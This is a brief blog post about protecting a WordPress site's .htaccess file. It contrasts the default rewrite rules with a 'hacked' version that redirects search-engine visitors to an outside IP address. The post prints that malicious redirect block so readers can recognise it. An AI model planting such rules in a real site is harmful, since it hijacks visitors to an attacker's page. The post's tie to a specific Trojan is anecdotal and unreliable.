If a blog is working fine you have a default .htaccess file which is located in yourblog.com and should look like this:
# BEGIN WordPress
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]# END WordPress
You just need to make a copy of .htaccess file for the future. Any Trojan injection or hack attempt can modify Blog’s .htaccess file. After modification the file should look like this (hacked .htaccess file):
RewriteEngine On
RewriteCond %{HTTP_REFERER} .*oogle.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ahoo.*$ [NC]
RewriteRule .* http://89.28.13.208/join.html?s=join [R,L]
When you blog’s .htaccess file is modified your blog’s URL is redirected to another web Site. Well, to avoid this it is necessary to keep your computer clean from viruses and Trojans. I have made a copy of this file and when I notice that my blog’s .htaccess file is corrupted I just delete it and upload the new one. I have noticed that when my Blog’s .htaccess file is changed I always find a virus named w32/Injector.HW Trojan in my computer. Keeping your computer clean can help you to avoid this problem. By the way, if this file is corrupted you will get error 404 – not foud message after clicking and any link or post in your wordpress blog.
Related posts:





